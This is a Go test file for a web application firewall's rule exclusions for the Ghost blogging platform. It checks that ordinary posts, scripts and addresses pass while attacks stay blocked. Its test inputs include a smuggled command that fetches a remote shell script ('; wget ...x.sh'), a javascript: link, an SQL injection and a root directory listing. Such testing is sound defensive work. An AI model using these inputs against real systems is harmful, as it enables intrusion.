package coreruleset_test

import (
	"encoding/json"
	"net/http"
	"net/url"
	"slices"
	"strings"
	"testing"

	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)

// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const ghostThreshold = 5

// Paths of Ghost's Admin API, Content API and members' API.
const (
	ghostPosts         = "/ghost/api/admin/posts/"
	ghostPost          = ghostPosts + "6af458a5d281b00001a59969/"
	ghostPage          = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
	ghostNewsletter    = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
	ghostMembers       = "/ghost/api/admin/members/"
	ghostSettings      = "/ghost/api/admin/settings/"
	ghostSession       = "/ghost/api/admin/session/"
	ghostSetup         = "/ghost/api/admin/authentication/setup/"
	ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
	ghostUser          = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
	ghostMember        = "/members/api/member/"
	ghostMagicLink     = "/members/api/send-magic-link/"
)

func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
	t.Parallel()

	crs := servingApps(t, map[string][]string{
		giteaHost: {gitea}, otherHost: {"ghost"},
	})

	// A filter, which only Ghost's fixes let through.
	filter := get(ghostPosts + "?filter=tag:powershell")

	wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
	wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
}

// ghostField is a field of a JSON body Ghost receives: the request that
// sends it, and its body, with VALUE where the field's value goes.
type ghostField struct{ method, target, body string }

// with returns f's body holding value, escaped for JSON.
func (f ghostField) with(t *testing.T, value string) string {
	t.Helper()

	quoted, err := json.Marshal(value)
	if err != nil {
		t.Fatal(err)
	}

	return strings.ReplaceAll(
		f.body,
		"VALUE",
		string(quoted[1:len(quoted)-1]),
	)
}

// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
	{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
	{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
	{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
	{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
	{
		http.MethodPut,
		ghostPost,
		`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
	},
	{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
	{
		http.MethodPost,
		"/ghost/api/admin/pages/",
		`{"pages":[{"slug":"VALUE"}]}`,
	},
	{
		http.MethodPost,
		"/ghost/api/admin/tags/",
		`{"tags":[{"name":"VALUE"}]}`,
	},
	{
		http.MethodPost,
		"/ghost/api/admin/tags/",
		`{"tags":[{"description":"VALUE"}]}`,
	},
	{
		http.MethodPost,
		"/ghost/api/admin/labels/",
		`{"labels":[{"name":"VALUE"}]}`,
	},
	{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
	{
		http.MethodPost,
		ghostMembers,
		`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
	},
	{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
	{
		http.MethodPut,
		ghostNewsletter,
		`{"newsletters":[{"sender_name":"VALUE"}]}`,
	},
	{
		http.MethodPost,
		"/ghost/api/admin/snippets/",
		`{"snippets":[{"name":"VALUE"}]}`,
	},
	{http.MethodPut, ghostMember, ghostMemberName},
}

// ghostMemberName is the body that saves a member's name at /members/api/.
const ghostMemberName = `{"name":"VALUE"}`

// ghostAddressFields hold a member's or a staff user's email address and skip
// 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddressFields = []ghostField{
	{
		http.MethodPost,
		ghostMagicLink,
		`{"email":"VALUE","emailType":"signup"}`,
	},
	{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
	{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
	{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
	{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
	{
		http.MethodPost,
		ghostPasswordReset,
		`{"password_reset":[{"email":"VALUE"}]}`,
	},
	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}

// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
// 930120 and 932120, as url does.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCanonicalURLFields = []ghostField{
	{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
	{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
	{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
}

// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostPostFields = []ghostField{
	{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
	{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
	{
		http.MethodPost,
		ghostPosts + "?source=html",
		`{"posts":[{"html":"VALUE"}]}`,
	},
	{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
}

// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
// footer, skip the rules of 900355, and still refuse a <script> element.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostSnippetAndNewsletterFooterFields = []ghostField{
	{
		http.MethodPost,
		"/ghost/api/admin/snippets/",
		`{"snippets":[{"lexical":"VALUE"}]}`,
	},
	{
		http.MethodPut,
		ghostNewsletter,
		`{"newsletters":[{"footer_content":"VALUE"}]}`,
	},
}

// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = slices.Concat(
	ghostPostFields,
	ghostSnippetAndNewsletterFooterFields,
)

// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
// and take a <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
	{
		http.MethodPut,
		ghostPost,
		`{"posts":[{"codeinjection_head":"VALUE"}]}`,
	},
	{
		http.MethodPut,
		ghostPage,
		`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
	},
	{
		http.MethodPut, ghostSettings,
		`{"settings":[{"key":"title","value":"Blog"},` +
			`{"key":"codeinjection_head","value":"VALUE"}]}`,
	},
}

// The query fields that skip some rules, each ending in "=".
const (
	ghostAdminFilter   = ghostPosts + "?limit=30&filter="
	ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
	ghostSearch        = ghostMembers + "?limit=100&search="
	ghostEmbed         = "/ghost/api/admin/oembed/?type=bookmark&url="
)

// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostQueryFields = []string{
	ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
}

// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
// URL.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
	"https://github.com/example/site/blob/main/.htaccess",
	"https://example.com/blog/powershell-tips?ref=ghost",
	"https://example.com/docs/python3/",
	"https://example.com/blog/powershell/",
	"https://example.com/blog/.htaccess/",
}

// ghostAddresses are addresses 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddresses = []string{
	"erin.htaccess@example.com",
	"python3.dev@example.com",
	"dave.powershell@example.com",
}

// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
	`<pre><code>#!/usr/bin/env python3
cat /etc/hosts | grep example
ls -la /var/www/html/.htaccess
powershell -ExecutionPolicy Bypass -File build.ps1
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
document.querySelectorAll('a').forEach((a) => console.log(a.href));
window.onload = () => alert('ready');</code></pre>` +
	`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
	`<img src="https://images.example.com/banner.png" ` +
	`onclick="this.classList.toggle('big')">`

// ghostCodeInjection is ordinary code injection for the head of a page.
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
	`<link rel="preconnect" href="https://fonts.example.com">` +
	`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`

// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
// holding value, or lets it through.
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
	t.Helper()

	r := request{f.method, f.target, []string{jsonBody}}
	body := f.with(t, value)

	got, _ := inspectBody(t, readingBodies(t), r, body)
	if refused && got.Score < ghostThreshold {
		t.Errorf(
			"%s %s %.300s let through: %+v",
			f.method,
			f.target,
			body,
			got,
		)
	}

	if !refused && got.Score >= ghostThreshold {
		t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
	}
}

// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
// target, a query field and its value, or lets it through.
func wantGhostQuery(t *testing.T, target string, refused bool) {
	t.Helper()

	got := inspect(t, atDefaults(t), get(target))
	if refused && got.Score < ghostThreshold {
		t.Errorf("%s let through: %+v", target, got)
	}

	if !refused && got.Score >= ghostThreshold {
		t.Errorf("%s refused: %+v", target, got)
	}
}

func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
	t.Parallel()

	for _, encoded := range hardValues {
		value, _ := url.QueryUnescape(encoded)

		fields := slices.Concat(
			ghostTextFields,
			ghostArticleFields,
			ghostCodeFields,
		)
		for _, f := range fields {
			wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
		}

		// filter as the admin's pickers write it, and search as typed.
		wantGhostQuery(
			t,
			ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
			false,
		)
		wantGhostQuery(
			t,
			ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
			false,
		)
		wantGhostQuery(t, ghostSearch+encoded, false)
	}

	for _, address := range ghostURLs {
		wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)

		for _, f := range ghostCanonicalURLFields {
			wantGhostField(t, f, address, false)
		}
	}

	for _, address := range ghostAddresses {
		for _, f := range ghostAddressFields {
			wantGhostField(t, f, address, false)
		}
	}

	for _, f := range ghostArticleFields {
		wantGhostField(t, f, ghostArticle, false)
	}

	for _, f := range ghostCodeFields {
		wantGhostField(t, f, ghostCodeInjection, false)
	}

	wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
		url.QueryEscape(
			"tag:powershell+status:[draft,scheduled,published,sent]",
		), false)
	wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
		url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
}

// ghostWidget is an HTML card that embeds a widget with its script.
const ghostWidget = `<div id="signup"></div>` +
	`<script src="https://widgets.example.com/form.js" async></script>`

// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
	`"html":"<div id=\"signup\"></div><script ` +
	`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
	`"direction":null,"format":"","indent":0,"type":"root","version":1}}`

// ghostAnalytics is code injection that loads analytics.
const ghostAnalytics = `<script defer ` +
	`src="https://analytics.example.com/script.js"></script>`

func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
	t.Parallel()

	// An HTML card in a post, as the editor saves it, and as integrations
	// send it.
	wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)

	for _, f := range ghostPostFields {
		wantGhostField(t, f, ghostWidget, false)
	}

	// Site code injection, saved in settings, and a post's or a page's own.
	for _, f := range ghostCodeFields {
		wantGhostField(t, f, ghostAnalytics, false)
	}
}

// ghostAttacks are an SQL injection and a path traversal, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal}

// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"

func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
	t.Parallel()

	for _, attack := range ghostAttacks {
		for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
			ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
			wantGhostField(t, f, attack, true)
		}

		for _, target := range ghostQueryFields {
			wantGhostQuery(t, target+url.QueryEscape(attack), true)
		}
	}

	// A script injection stays refused in every field that does not take a
	// <script> element.
	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
		ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
		wantGhostField(t, f, scriptTag, true)
	}

	for _, target := range ghostQueryFields {
		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
	}

	// A command after a separator stays refused wherever its rules do not
	// misfire: in the query fields, the plain text, the addresses and the
	// canonical URLs.
	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
		ghostCanonicalURLFields) {
		wantGhostField(t, f, commandAfterASeparator, true)
	}

	for _, target := range ghostQueryFields {
		wantGhostQuery(
			t,
			target+url.QueryEscape(commandAfterASeparator),
			true,
		)
	}

	// The articles and code injection carry HTML on purpose, but a
	// javascript: link is still refused there, and a script element in
	// snippets and a newsletter's footer.
	for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
	}

	for _, f := range ghostSnippetAndNewsletterFooterFields {
		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
	}

	// An address keeps 932250, which refuses a listing of files.
	for _, f := range ghostAddressFields {
		wantGhostField(t, f, "ls -la /root", true)
	}
}

func TestGhostExclusionsAreNarrow(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	// The fields keep their rules off Ghost's paths, on Ghost's paths that
	// take no such field, and when the query has a field of the same name.
	const (
		title              = `{"posts":[{"title":"python3"}]}`
		article            = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
		name               = `{"name":"python3"}`
		email              = `{"email":"python3.dev@example.com"}`
		username           = `{"username":"python3.dev@example.com"}`
		setupEmail         = `{"setup":[{"email":"python3.dev@example.com"}]}`
		passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
		userEmail          = `{"users":[{"email":"python3.dev@example.com"}]}`
		postURL            = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
		pageURL            = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
	)

	for _, refused := range []struct{ target, body string }{
		{"/api/posts/", title},
		{"/ghost/api/content/posts/", title},
		{ghostMember, title},
		{ghostPosts + "?json.posts.0.title=x", title},
		{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
		{ghostPosts, name},
		{ghostMember + "?json.name=x", name},
		{"/api/posts/", article},
		{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
		{ghostPosts + "?json.posts.0.lexical=x", article},
		{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
		{
			ghostSettings + "?json.settings.0.value=x",
			`{"settings":[{"value":"<meta name=x content=y>"}]}`,
		},
		{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
		{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
		{ghostPosts, email},
		{ghostMembers, email},
		{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
		{
			ghostMembers + "?json.members.0.email=x",
			`{"members":[{"email":"python3.dev@example.com"}]}`,
		},
		{ghostMember + "?json.email=x", email},
		{ghostPosts, username},
		{ghostSession + "?json.username=x", username},
		{ghostPosts, setupEmail},
		{ghostSetup + "?json.setup.0.email=x", setupEmail},
		{ghostPosts, passwordResetEmail},
		{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
		{ghostPosts, userEmail},
		{ghostUser + "?json.users.0.email=x", userEmail},
		{"/api/posts/1/", postURL},
		{ghostMembers, postURL},
		{ghostPage, postURL},
		{ghostPost + "?json.posts.0.canonical_url=x", postURL},
		{ghostPost, pageURL},
		{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
		{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
		{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
		{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
		{
			"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
			`{"users":[{"profile_image":null}]}`,
		},
	} {
		r := request{http.MethodPut, refused.target, []string{jsonBody}}

		got, _ := inspectBody(t, crs, r, refused.body)
		if got.Score < ghostThreshold {
			t.Errorf(
				"PUT %s %s let through: %+v",
				refused.target,
				refused.body,
				got,
			)
		}
	}
}

func TestGhostScriptExclusionIsNarrow(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	// A <script> element keeps 941110 off the Admin API, in fields that do
	// not take one, and when the query has a field of the same name. 941100
	// and 941160 refuse each request too, so the test looks for 941110
	// itself.
	const (
		script           = `<script defer src=\"/script.js\"></script>`
		scriptInPost     = `{"posts":[{"lexical":"` + script + `"}]}`
		scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
	)

	for _, refused := range []struct{ target, body string }{
		{"/ghost/api/content/posts/", scriptInPost},
		{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
		{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
		{"/api/settings/", scriptInSettings},
		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
	} {
		r := request{http.MethodPut, refused.target, []string{jsonBody}}

		got, _ := inspectBody(t, crs, r, refused.body)
		if got.Score < ghostThreshold ||
			!slices.Contains(got.RuleIDs, 941110) {
			t.Errorf(
				"PUT %s %s: %+v, want 941110 among them",
				refused.target,
				refused.body,
				got,
			)
		}
	}
}

func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
	t.Parallel()

	// The query fields keep their rules off Ghost's paths, and in other
	// query fields there. search skips its rules only on the Admin API, and
	// url only on the editor's lookup of embeds.
	for _, target := range []string{
		"/api/posts/?filter=powershell",
		"/ghost/posts/?filter=powershell",
		"/ghost/api/admin/posts/?order=powershell",
		"/ghost/api/content/posts/?search=python3",
		"/members/api/member/?search=python3",
		"/ghost/api/admin/posts/?url=powershell",
		"/oembed/?url=powershell",
	} {
		wantGhostQuery(t, target, true)
	}
}

func TestGhostPasswordsPass(t *testing.T) {
	t.Parallel()

	// Ghost's password fields, each sent to the path that takes it. A dot
	// nests a field, as Ghost nests it in an array.
	fields := []passwordFields{
		{ghostSession, jsonBody, []string{passwordKey}},
		{
			"/ghost/api/admin/authentication/setup/",
			jsonBody,
			[]string{"setup.0.password"},
		},
		{
			"/ghost/api/admin/authentication/invitation/", jsonBody,
			[]string{"invitation.0.password"},
		},
		{
			"/ghost/api/admin/authentication/password_reset/", jsonBody,
			[]string{
				"password_reset.0.newPassword",
				"password_reset.0.ne2Password",
			},
		},
		{
			"/ghost/api/admin/users/password/", jsonBody,
			[]string{
				"password.0.oldPassword", "password.0.newPassword",
				"password.0.ne2Password",
			},
		},
	}

	wantPasswordFieldsPass(t, fields)
}